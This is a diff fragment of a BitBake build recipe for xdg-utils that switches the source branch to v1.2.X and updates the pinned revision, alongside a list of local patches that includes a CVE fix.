"file://LICENSE;md5=a5367a90934098d6b05af3b746405014" DEPENDS = "xmlto-native libxslt-native" -SRC_URI = "git://gitlab.freedesktop.org/xdg/xdg-utils.git;protocol=https;branch=master;tag=v${PV} \ +SRC_URI = "git://gitlab.freedesktop.org/xdg/xdg-utils.git;protocol=https;branch=v1.2.X;tag=v${PV} \ file://0001-Reinstate-xdg-terminal.patch \ file://0001-Don-t-build-the-in-script-manual.patch \ file://CVE-2022-4055.patch \ " -SRCREV = "159fc37075db2decf446f453fe1a796da6921aad" +SRCREV = "356c380ad6fecc9ce6bea1f6a77986ba67402c80" # Needs brokensep as this doesn't use automake inherit autotools-brokensep